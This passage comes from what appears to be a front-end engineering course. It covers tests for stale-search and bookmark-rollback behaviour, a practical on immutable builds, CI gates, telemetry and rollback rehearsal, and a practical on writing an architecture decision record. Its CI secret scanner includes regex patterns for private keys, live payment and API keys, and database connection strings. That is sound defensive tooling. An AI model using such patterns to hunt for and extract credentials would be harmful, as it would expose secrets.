        }
        return HttpResponse.json({ data: [{ id: "srv-1", title: "Passport Renewal" }] });
      })
    );

    const searchInput = screen.getByRole("searchbox", { name: /search civic services/i });
    await user.type(searchInput, "pas");
    await user.type(searchInput, "sport");

    // Second query resolves quickly
    expect(await screen.findByText("Passport Renewal")).toBeInTheDocument();

    // Now resolve the first query late
    resolveFirstQuery();

    // Stale result must NOT appear
    await waitFor(() => {
      expect(screen.queryByText("Old Data")).not.toBeInTheDocument();
    });
  });

  it("rolls back optimistic bookmark update upon server rejection", async () => {
    const user = userEvent.setup();
    server.use(
      http.post("/api/v1/services/:id/bookmark", () => {
        return HttpResponse.json({ message: "Service unavailable" }, { status: 503 });
      })
    );

    const bookmarkBtn = await screen.findByRole("button", { name: /bookmark passport renewal/i });
    expect(bookmarkBtn).toHaveAttribute("aria-pressed", "false");

    // Optimistically toggle
    await user.click(bookmarkBtn);
    expect(bookmarkBtn).toHaveAttribute("aria-pressed", "true");

    // Upon server rejection, UI must revert state and display alert
    expect(await screen.findByRole("alert")).toHaveTextContent(/could not save bookmark/i);
    expect(bookmarkBtn).toHaveAttribute("aria-pressed", "false");
  });
});

Stage 5: Playwright Critical-Path Browser Journey

Unit and component tests verify logic and simulated DOM behavior, but they cannot prove that the layout engine, CSS stacking contexts, cookies, and real browser event loops function seamlessly together.

Create a Playwright end-to-end smoke test covering the critical citizen journey in real Chromium, Firefox, and WebKit engines:

  1. Create e2e/catalogue-journey.spec.ts:
    • Navigate to the catalogue route.
    • Perform a search and select a service.
    • Fill out an application form using keyboard tab stops.
    • Verify modal dialog focus trapping and dismissal via Escape.
    • Trigger a simulated offline network disconnect and confirm that draft data is saved to localStorage.
  2. Configure Failure Artifacts in playwright.config.ts:
    • Capture full screenshots, videos, and Playwright execution traces (trace: "on-first-retry") on test failure.
// e2e/catalogue-journey.spec.ts
import { test, expect } from "@playwright/test";

test.describe("Civic Services Critical User Journey", () => {
  test("complete search, bookmark, and keyboard modal flow", async ({ page, context }) => {
    await page.goto("/catalogue");

    // 1. Search and verify auto-wait web-first assertion
    const searchInput = page.getByRole("searchbox", { name: /search civic services/i });
    await searchInput.fill("Passport");
    await expect(page.getByRole("heading", { name: "Passport Renewal", level: 3 })).toBeVisible();

    // 2. Open details dialog and test focus trap
    await page.getByRole("button", { name: /view details for passport renewal/i }).click();
    const dialog = page.getByRole("dialog", { name: /passport renewal details/i });
    await expect(dialog).toBeVisible();
    await expect(dialog).toBeFocused();

    // 3. Dismiss via Escape key and verify focus restoration
    await page.keyboard.press("Escape");
    await expect(dialog).not.toBeVisible();
    await expect(page.getByRole("button", { name: /view details for passport renewal/i })).toBeFocused();

    // 4. Test offline draft resilience
    await context.setOffline(true);
    await searchInput.fill("Offline draft query");
    await page.reload();
    // Verify draft preserved in localStorage
    await expect(searchInput).toHaveValue("Offline draft query");
  });
});

Verification & Self-Assessment

Run your full test battery and confirm all stages pass:

# Run unit and component integration tests with coverage
npx vitest run --coverage

# Run Playwright end-to-end browser journeys
npx playwright test

Observable Verification Criteria

Verification ItemActionExpected Pass Output
No Private State InspectionGrep test files for component.state or wrapper.vmZero matches found; tests interact solely via DOM roles and text
Semantic QueriesGrep test files for .querySelector(".btn")Zero class-based UI queries; all buttons queried via getByRole("button")
No Arbitrary SleepsGrep test files for setTimeout or sleep(1000)Zero arbitrary timeouts; all async assertions use waitFor or findBy*
MSW Network BoundaryInspect Vitest setupZero global fetch = vi.fn() mocks; all HTTP requests handled by MSW handlers
Fault InjectionRun tests against injected defects from Stage 4All 3 injected faults cause immediate test failure with descriptive assertions
Playwright TracesInspect test-results/ on forced E2E failureComplete trace zip produced containing DOM snapshots, console logs, and network timeline

Grading Rubric

CriterionPointsEvaluation Requirement
Domain Logic Isolation20%Pure math, fee calculation, and URL serialization thoroughly unit-tested without DOM dependencies.
Accessible Component Semantics25%Form controls queried strictly via getByRole and getByLabelText; validation errors associated via aria-describedby.
Network Boundary Mocking20%Network layer intercepted via MSW; handles loading skeletons, 500 error recovery, and empty states.
Asynchronous Race & Rollback Resilience20%Verifies AbortController cancellation under rapid typing; verifies optimistic mutation rollback upon server failure.
Playwright End-to-End Suite15%Critical path tested in real headless browser; verifies focus trap, Escape key restoration, and trace artifacts on failure.

17 - Delivery, Observability, and Rollback Loop

Practical 17 - Delivery, Observability, and Rollback Loop

Related: Chapter 17 · Lecture slides · Appendix C: Production Deployment Checklist

Objective

Design, execute, and rehearse an automated, safe front-end delivery and operational loop. Rather than treating deployment as an unverified “push to production” or assuming that passing tests guarantee operational safety, you will construct a delivery pipeline that:

  1. Builds an immutable, content-hashed artifact tied to an exact Git commit SHA.
  2. Enforces strict CI verification gates, including automated secret scanning and bundle size budgets.
  3. Injects immutable release identity metadata to correlate runtime client telemetry.
  4. Instruments a PII-safe client-side observability collector that captures unhandled exceptions, Core Web Vitals, and user interaction breadcrumbs.
  5. Executes a simulated production incident and rollback rehearsal, verifying that reverting the deployed static assets does not break local client state compatibility or corrupt backend data contracts.
flowchart TD
    subgraph Pipeline["Continuous Delivery & Observability Lifecycle"]
        direction TB
        S1["Stage 1: Immutable Artifact Production\n(Vite build, contenthash, release-manifest.json)"]
        S2["Stage 2: CI Verification & Secret Scanning\n(Typecheck, lint, bundle budgets, zero leaked tokens)"]
        S3["Stage 3: Preview Environment & Release Identity\n(Isolated PR URL, window.__RELEASE_INFO__)"]
        S4["Stage 4: Client Observability & PII Masking\n(Telemetry collector, error boundaries, breadcrumbs)"]
        S5["Stage 5: Incident Rehearsal & Safe Rollback\n(Simulated crash, SLO alert, CDN revert, data compatibility)"]

        S1 --> S2 --> S3 --> S4 --> S5
    end

Workspace Setup

Initialize a modern delivery sandbox using Vite, TypeScript, and a lightweight local static web server to simulate CDN and edge environments:

mkdir -p practical-17-delivery/src
cd practical-17-delivery
npm init -y
npm install --save-dev typescript vite vitest @playwright/test
npx tsc --init

Stage-by-Stage Implementation

Stage 1: Immutable Reproducible Artifact & Manifest Generation

In continuous delivery, you must build once and promote the exact same artifact across preview, staging, and production environments. Never rebuild assets from source for each separate environment.

  1. Configure Content-Hashed Asset Bundling (vite.config.ts): Ensure all JavaScript, CSS, and asset filenames include cryptographic content hashes ([name].[hash].js). This guarantees that older versions can remain cached indefinitely on the CDN without cache collisions during rolling deployments.
  2. Generate release-manifest.json at Build Time: Write a build hook in scripts/generate-manifest.js that records:
    • releaseId: The Git commit hash (or simulated semantic release identifier, e.g. v2.4.0-a9f3c1).
    • buildTimestamp: ISO 8601 UTC timestamp.
    • environment: Target tier (preview, staging, or production).
    • entrypointChunk: The exact hashed path of the primary entry bundle (assets/index-a9f3c1b8.js).
    • bundleSizes: File size breakdown to detect unexpected code bloat.
// dist/release-manifest.json
{
  "releaseId": "v2.4.0-a9f3c1",
  "gitCommit": "a9f3c1d89b4e5f2a104",
  "buildTimestamp": "2026-09-24T08:30:00Z",
  "entrypointChunk": "/assets/index-a9f3c1b8.js",
  "totalBytes": 142850,
  "bundleBudgetMax": 200000
}

Stage 2: Automated CI Verification & Secret Scanning

A reliable delivery pipeline halts before publishing if code violates quality gates or leaks private security credentials.

  1. Implement Bundle Budget Enforcement (scripts/check-budget.js): Read the compiled output in dist/assets/. If total uncompressed JavaScript exceeds 200 KB, fail the build with an actionable error.
  2. Pre-Commit Secret Scanning Gate (scripts/scan-secrets.js): Front-end client bundles are public to the entire internet. Write an automated scan regex that searches all source files and environment files (.env*) for:
    • Private keys (BEGIN PRIVATE KEY, AWS_SECRET_ACCESS_KEY).
    • Unprefixed environment variables. Only variables explicitly prefixed with VITE_PUBLIC_ or NEXT_PUBLIC_ may be included in client bundles.
    • Ensure that if an engineer attempts to commit a database password or private stripe key, the CI check exits with code 1.
// scripts/scan-secrets.ts
import fs from "node:fs";
import path from "node:path";

const FORBIDDEN_PATTERNS = [
  /-----BEGIN (RSA )?PRIVATE KEY-----/,
  /sk_live_[0-9a-zA-Z]{24}/,
  /AIza[0-9A-Za-z-_]{35}/, // Google API Key
  /postgres:\/\/[^:]+:[^@]+@/, // Database connection string
];

export function scanFileForSecrets(filePath: string): boolean {
  const content = fs.readFileSync(filePath, "utf-8");
  for (const pattern of FORBIDDEN_PATTERNS) {
    if (pattern.test(content)) {
      console.error(`[SECURITY FAILURE] Potential leaked secret in ${filePath} matching ${pattern}`);
      return false;
    }
  }
  return true;
}

Stage 3: Preview Environments & Release Identity Injection

To diagnose production issues without guessing which code version a user is running, embed immutable release identity metadata directly into the client runtime.

  1. Inject Runtime Release Metadata (src/config/release.ts): Expose an immutable global object on window.__RELEASE_INFO__ containing the release version, commit SHA, and environment name.
  2. Private Source Map Handling: Configure Vite to generate source maps (sourcemap: "hidden"). The .map files are generated on disk for upload to a secure, private error-tracking server (e.g., Sentry), but the //# sourceMappingURL= comment is stripped from the public bundle. This allows on-call engineers to read de-minified stack traces without exposing proprietary code to the public web.
// src/config/release.ts
export interface ReleaseMetadata {
  readonly version: string;
  readonly commitSha: string;
  readonly environment: "development" | "preview" | "staging" | "production";
  readonly deployedAt: string;
}

declare global {
  interface Window {
    __RELEASE_INFO__: ReleaseMetadata;
  }
}

export const RELEASE: ReleaseMetadata = {
  version: import.meta.env.VITE_APP_VERSION || "v2.4.0",
  commitSha: import.meta.env.VITE_COMMIT_SHA || "dev-local",
  environment: (import.meta.env.MODE as ReleaseMetadata["environment"]) || "development",
  deployedAt: new Date().toISOString(),
};

if (typeof window !== "undefined") {
  window.__RELEASE_INFO__ = Object.freeze(RELEASE);
}

Stage 4: Client Observability, Telemetry & PII Masking

Server logs only capture HTTP requests that successfully reach the backend; they cannot detect client runtime crashes, syntax errors, or UI thread freezes.

Implement a lightweight, zero-dependency client telemetry module (src/observability/telemetry.ts):

  1. Global Unhandled Error Capture: Listen to window.onerror and window.onunhandledrejection. Extract the error name, message, stack trace, and active route.
  2. User Interaction Breadcrumbs: Maintain a ring buffer of the last 15 user actions (clicks on buttons, route changes, API request start/finish markers) to reconstruct user journeys leading up to a crash.
  3. Data Minimization & PII Redaction: Before beaconing any error payload, scrub:
    • Form inputs with type="password", name "card", or name "nationalId".
    • Query parameter tokens (e.g. ?token=..., ?key=...).
  4. Resilient Beaconing: Transmit telemetry using navigator.sendBeacon("/api/telemetry/errors", JSON.stringify(payload)), ensuring messages are delivered even if the user immediately closes the browser tab.
// src/observability/telemetry.ts
import { RELEASE } from "../config/release";

interface Breadcrumb {
  timestamp: number;
  category: "ui.click" | "navigation" | "network";
  message: string;
}

const breadcrumbs: Breadcrumb[] = [];
const MAX_BREADCRUMBS = 15;

export function addBreadcrumb(crumb: Omit<Breadcrumb, "timestamp">) {
  breadcrumbs.push({ ...crumb, timestamp: Date.now() });
  if (breadcrumbs.length > MAX_BREADCRUMBS) breadcrumbs.shift();
}

export function initTelemetry() {
  window.addEventListener("error", (event) => {
    reportErrorPayload({
      type: "unhandled_error",
      message: event.message,
      filename: event.filename,
      lineno: event.lineno,
      stack: event.error?.stack || "No stack trace",
    });
  });

  window.addEventListener("unhandledrejection", (event) => {
    reportErrorPayload({
      type: "unhandled_promise_rejection",
      message: String(event.reason?.message || event.reason),
      stack: event.reason?.stack || "No stack trace",
    });
  });
}

function reportErrorPayload(errorDetails: Record<string, unknown>) {
  const payload = {
    release: RELEASE,
    url: window.location.pathname, // Redact query params
    userAgent: navigator.userAgent,
    breadcrumbs: [...breadcrumbs],
    error: errorDetails,
  };

  const endpoint = "/api/v1/telemetry/errors";
  if (navigator.sendBeacon) {
    navigator.sendBeacon(endpoint, JSON.stringify(payload));
  } else {
    fetch(endpoint, { method: "POST", body: JSON.stringify(payload), keepalive: true }).catch(() => {});
  }
}

Stage 5: Simulated Disaster Rehearsal & Safe Rollback

A rollback plan that has never been tested is not a rollback plan - it is wishful thinking. In this stage, you will rehearse a full incident recovery cycle:

  1. Inject a Fatal Production Regression into v2.4: In src/pages/ApplicationForm.ts, inject a syntax or runtime exception that triggers when users click “Submit Application” (e.g. invoking an undefined function or invalid regular expression).
  2. Observe the Canary Failure: Simulate user traffic hitting the deployed application. Verify that client telemetry records the error spike, tags it with v2.4.0-a9f3c1, and captures the relevant breadcrumb trail.
  3. Execute the Rollback: Trigger the rollback script (scripts/rollback.sh or local routing switch) to point the edge web server back to the v2.3.0 directory.
  4. Data Compatibility Verification: Verify what a “successful rollback” actually means:
    • Artifact Rollback vs Data Compatibility: Confirm that users who loaded v2.4 did not have their local client state (localStorage['app_draft']) corrupted into an unparseable schema that crashes v2.3.
    • API Schema Backwards-Compatibility: Confirm that any pending backend requests sent by v2.4 can still be processed or cleanly rejected without breaking v2.3 client sessions.
  5. Draft a Blameless Post-Mortem: Document the incident timeline: Time to Detect (TTD), Time to Mitigate (TTM), root cause, and preventative CI gate additions.
sequenceDiagram
    autonumber
    actor User as Citizen User
    participant App as Web App (v2.4.0)
    participant Telemetry as Telemetry Collector
    actor OnCall as On-Call Operator
    participant Edge as Edge Web Server

    User->>App: Clicks "Submit Application"
    Note over App: Uncaught TypeError in Form Submit Handler!
    App->>Telemetry: sendBeacon: { release: "v2.4.0", error: "TypeError", breadcrumbs }
    Telemetry-->>OnCall: High-Priority Pager Alert: Form Error Rate = 12% (>0.5% SLO)
    OnCall->>OnCall: Inspect breadcrumbs: all failures occur in v2.4.0 submission chunk
    OnCall->>Edge: Switch active traffic alias from v2.4.0 to v2.3.0
    Edge-->>User: Next page request serves v2.3.0 (Rollback complete: 2 minutes)
    User->>App: Retries form on v2.3.0; submission succeeds without data loss

Verification & Self-Assessment

Run your delivery verification battery:

# 1. Run local CI verification gates
npm run lint && npm run typecheck && npm test

# 2. Build immutable release artifact
npm run build

# 3. Verify bundle size budget and secret scanning
node scripts/check-budget.js
node scripts/scan-secrets.js

# 4. Rehearse rollback switch
./scripts/rollback.sh --to=v2.3.0

Observable Verification Criteria

Verification ItemActionExpected Pass Output
Reproducible ArtifactInspect dist/All asset files contain content hashes; release-manifest.json matches commit SHA
Secret ScanningInject dummy private key into source and run scannerCI build aborts with exit code 1; identifies file and offending line
Bundle BudgetRun scripts/check-budget.jsConfirms JavaScript bundle size is within the 200 KB threshold
Telemetry PII ScrubbingSubmit form with email and password, inspect telemetry payloadPassword and token fields are completely redacted ([REDACTED])
Rehearsed RollbackExecute rollback scriptTraffic reverts to previous release in under 60 seconds; no local client crashes
Appendix C AuditCross-reference Appendix C ChecklistAll Section 1 (Build Integrity) and Section 5 (Observability) items checked

Grading Rubric

CriterionPointsEvaluation Requirement
Artifact Reproducibility20%Production bundle uses immutable content hashes; generates complete release-manifest.json.
CI Gates & Secret Scanning20%CI pipeline enforces type checks, bundle budgets, and blocks leaked private credentials.
Release Identity & Source Maps20%Injects window.__RELEASE_INFO__; source maps are generated for private server upload without public leakage.
Client Observability & PII Safety20%Global error handlers capture exceptions and breadcrumbs via sendBeacon; scrubs PII before transmission.
Incident Rehearsal & Rollback20%Simulates production incident, executes rollback, validates localStorage schema compatibility, and writes post-mortem.

18 - Make and Defend an Architecture Decision

Practical 18 - Make and Defend an Architecture Decision

Related: Chapter 18 · Lecture slides · Appendix A: Rosetta Stone · Appendix C: Deployment Checklist

Objective

Formulate, evaluate, benchmark, and document a major front-end architectural decision for an enterprise-scale public service platform. You will evaluate competing technical options against explicit organizational constraints and quality attributes, conduct a focused technical spike to resolve an empirical unknown, write a formal Architectural Decision Record (ADR), and define automated fitness functions and quantitative review triggers.

You will be evaluated on the rigor of your reasoning, the fidelity of your trade-off analysis, and your empirical evidence - not on whether you choose a trendy framework or adopt complex distributed patterns by default.

flowchart TD
    subgraph ADRLifecycle["The Architectural Decision Lifecycle"]
        direction TB
        S1["Stage 1: Context, Forces & Constraints\n(Map 4 autonomous squads, mobile 3G users, WCAG AA, SEO)"]
        S2["Stage 2: Formulate 3 Viable Candidates\n(Micro-Frontends vs. Pure CSR SPA vs. Modular Monolith with Edge SSR)"]
        S3["Stage 3: Focused Empirical Spike\n(Benchmark bundle sizes & p75 LCP under 4x CPU throttling)"]
        S4["Stage 4: Formal ADR & Fitness Functions\n(Context, Decision, Consequences, ESLint boundary rules)"]
        S5["Stage 5: Reversal Plan & Review Triggers\n(Quantified thresholds: team size >12 squads, CI queues >30 min)"]

        S1 --> S2 --> S3 --> S4 --> S5
    end

Scenario: The Unified Regional Civic Services Platform

The Kurdistan Regional Government is consolidating disparate municipal portals into a single, unified civic platform:

  • Four Autonomous Squads: Team Transport (driving permits), Team Health (clinic bookings), Team Commerce (business registration), and Team Civil (ID renewals).
  • Target Audience: 70% of traffic originates from mobile devices operating over high-latency 3G/4G cellular connections across Erbil, Sulaymaniyah, and Duhok.
  • Regulatory Mandates: Public municipal notices must be crawlable by search engines (SEO); all forms must strictly meet WCAG 2.1 AA accessibility standards.
  • Organizational Friction: Teams want deployment autonomy without being blocked by other squads, but citizens demand a consistent visual design, shared authentication sessions, and fast initial page loads.

Stage-by-Stage Implementation

Stage 1: Context, Forces, and Constraints Mapping

Begin by documenting the architectural forces without naming any libraries or frameworks. Create docs/architecture/context.md:

  1. Prioritized Quality Attribute Scenarios (QAS):
    • Performance (P1): Under 4x CPU throttling and Fast 3G network conditions, the 75th percentile (p75) Largest Contentful Paint (LCP) must remain below 2.0 seconds for first-time visitors.
    • Accessibility (P1): 100% of interactive controls must be navigable via keyboard and expose computed accessible names.
    • Autonomy (P2): Squads must be able to deploy updates to their domain routes without forcing a full redeploy of unrelated domain services.
    • Operational Simplicity (P3): The deployment infrastructure must be maintainable by a small platform team without requiring dedicated Kubernetes cluster operators.
  2. Non-Negotiable Constraints:
    • Budget constraints prohibit expensive multi-region proprietary edge compute licensing.
    • Unified authentication (OAuth2 / PKCE) must be shared seamlessly across all domain routes.

Stage 2: Formulating Three Viable Candidate Architectures

Generate three genuinely viable, competing architectural options. Avoid creating straw-man options designed solely to be discarded:

Candidate ArchitectureRendering & Routing StrategyCode Organization & Deployment ModelPrimary Trade-Off
Candidate A: Micro-FrontendsClient-Side Module Federation with host shell container.Multi-repo; each squad deploys independent bundles to S3/CDN.Maximum squad autonomy; high bundle bloat (duplicate framework runtimes) and high initial latency.
Candidate B: Client-Side SPA (CSR)Pure client-rendered single-page app with service worker offline cache.Single monorepo; static S3 hosting behind global CDN.Zero server compute cost; fails public SEO requirements and suffers slow LCP on 3G.
Candidate C: Modular Monolith with Edge SSREdge-rendered hybrid (Server Components / SSR with islands of interactivity).pnpm monorepo; shared design system; single deployable artifact.Sub-second LCP and strong SEO; requires monorepo build governance and coordinated releases.

Stage 3: The Investigative Technical Spike

Before committing to an architectural direction, conduct a focused empirical spike to resolve the highest-risk unknown: What is the initial payload weight and mobile FCP/LCP penalty of client-side Module Federation versus a tree-shaken Modular Monolith?

  1. Create a minimal spike workspace (spikes/federation-vs-monolith/).
  2. Build a shell container importing two remote federated components (Transport Card and Health Card).
  3. Build an equivalent modular monolith bundle using standard dynamic imports (import()).
  4. Run Lighthouse audits using Chrome DevTools with simulated Fast 3G and 4x CPU throttling.
  5. Record your findings in docs/architecture/spike-01-results.md:
### Spike 01 Findings: Federation vs Modular Monolith Payload

| Metric | Candidate A (Module Federation) | Candidate C (Modular Monolith) | Variance |
| :--- | :---: | :---: | :---: |
| **Initial JS Transferred** | 382 KB (uncompressed) | 148 KB (uncompressed) | +158% bloat |
| **First Contentful Paint (FCP)** | 2.8s | 1.1s | +1.7s delay |
| **Largest Contentful Paint (LCP)** | 4.2s | 1.6s | +2.6s delay |
| **DOM Hydration Long Tasks** | 3 tasks > 65ms | 0 tasks > 50ms | Main thread contention |

*Conclusion:* In a high-latency 3G environment, loading multiple federated remote entrypoints introduces severe network waterfalls and duplicates vendor libraries, violating our 2.0s LCP budget.

Stage 4: Formal Architectural Decision Record (ADR)

Using the canonical template from Chapter 18, draft ADR-018: Adoption of Modular Monolith with Edge SSR for Civic Services Platform:

# ADR-018: Modular Monolith with Edge SSR for Civic Services Platform

- **Status:** Accepted
- **Date:** 2026-09-24
- **Deciders:** Lead Architect, Team Transport Lead, Team Health Lead, Platform Ops Lead
- **Technical Story:** Architecture Platform Transition for Regional Public Services

## Context & Problem Statement
The regional civic portal must scale across 4 engineering squads while serving citizens over mobile 3G networks. The system requires SEO for public circulars, sub-2.0s LCP on entry-tier Android devices, and shared authentication. We must decide whether to adopt distributed Micro-Frontends (Module Federation), a pure Client-Side SPA, or a Modular Monolith with Edge SSR.

## Decision Drivers
- p75 Mobile LCP < 2.0s over congested 3G networks (Quality Attribute: Performance).
- Search engine indexability for legal circulars and municipal notices (Quality Attribute: SEO).
- WCAG 2.1 AA accessibility compliance across all citizen workflows (Quality Attribute: Accessibility).
- Independent development velocity for 4 squads without cross-team coordination gridlock.

## Considered Options
- **Option 1:** Distributed Micro-Frontends via Vite Module Federation.
- **Option 2:** Pure Client-Side Rendered (CSR) SPA with Service Worker.
- **Option 3:** Modular Monolith in pnpm Workspace with Edge Server-Side Rendering (SSR).

## Decision Outcome
**Chosen Option:** **Option 3: Modular Monolith in pnpm Workspace with Edge SSR**.

### Positive Consequences
- **High Performance:** Initial HTML rendered at CDN edge caches delivers p75 LCP of 1.4s over 3G.
- **Perfect SEO:** Public notices and circulars render complete semantic HTML directly from server.
- **Shared Design Tokens:** Single `@civic/design-system` package in monorepo guarantees WCAG AA consistency.
- **Reduced Operational Overhead:** Single deployable container eliminates multi-host federation complexity.

### Negative Consequences
- Deployments are coupled to a single pipeline; a regression in one squad's route blocks the unified deployment until resolved.
- Requires strict monorepo boundary governance to prevent squads from creating circular dependencies.

## Architecture Fitness Functions (Automated Guardrails)
To prevent the modular monolith from degenerating into a coupled tangle, CI enforces three fitness functions:
1. **ESLint Boundary Rule:** Squad packages (`@civic/transport`) are strictly prohibited from importing from sibling squad packages (`@civic/health`). Communication occurs strictly via URL query parameters or backend APIs.
2. **Bundle Budget Guardrail:** CI aborts deployment if the uncompressed initial client chunk exceeds 180 KB.
3. **Strict Package Exports:** All internal package utilities are kept private; only interfaces explicitly defined in `package.json#exports` may be referenced by the application shell.

Stage 5: Reversal Plan & Review Trigger Conditions

An architectural decision is not an eternal monument; it is a hypothesis validated by evidence. Define the exact conditions under which ADR-018 will be formally reopened:

## Reversal Plan & Review Triggers (ADR-018 Addendum)

This architecture will remain in force until one of the following quantitative triggers occurs:

1. **Organizational Scale Trigger:** The engineering organization expands from 4 squads (20 engineers) to more than 12 squads (>80 engineers), and monorepo CI validation queue times consistently exceed 35 minutes.
2. **Regulatory / Sovereign Hosting Trigger:** A specific government ministry (e.g., Interior or Defense) legally mandates that its database and web application servers be physically isolated in an independent sovereign data center, preventing shared edge SSR deployment.
3. **Compute Budget Trigger:** Edge serverless compute costs exceed $10,000/month, at which point the team will evaluate migrating static catalog routes to Static Site Generation (SSG).

### Safe Reversal Path
Because packages in the `pnpm` monorepo strictly enforce the `"exports"` field and communicate solely via URL state and REST APIs, extracting any squad module (e.g. `@civic/transport`) into an autonomous micro-frontend or standalone repository requires zero code refactoring - only a pipeline configuration change.

Verification & Self-Assessment

Audit your architectural decision against the evaluation criteria:

Verification ItemEvaluation CriteriaPass / Fail
Requirements-DrivenDecision is anchored in mobile 3G constraints and WCAG AA mandates rather than framework trends.Pass
Viable AlternativesConsidered three distinct options, complete with genuine technical trade-offs.Pass
Empirical EvidenceConducted Spike 01; measured bundle size and LCP data rather than quoting blog posts.Pass
Automated Fitness FunctionsDefined actionable CI rules (ESLint boundaries, bundle size budgets) to protect architectural properties.Pass
Quantitative Reversal PlanDocumented explicit numerical triggers (team size >12 squads, CI >35 min) for revisiting the decision.Pass
Appendix C AlignmentVerified that the architecture satisfies the Section 6 (Architecture Sign-Off) checklist in Appendix C.Pass

Grading Rubric

CriterionPointsEvaluation Requirement
Problem & Constraint Articulation20%Quality attributes are formulated as measurable scenarios; organizational and network constraints are clearly defined.
Trade-Off Analysis of Alternatives20%Evaluates three viable options; clearly explains why rejected options failed constraints.
Empirical Spike Rigor20%Technical spike measures concrete performance metrics (bundle sizes, LCP, CPU time) under throttled conditions.
ADR Completeness & Fitness Functions25%ADR follows standard format; consequences are balanced; automated CI guardrails enforce architectural boundaries.
Reversibility & Evolution Strategy15%Reversal triggers are quantified; includes a credible migration plan if assumptions change.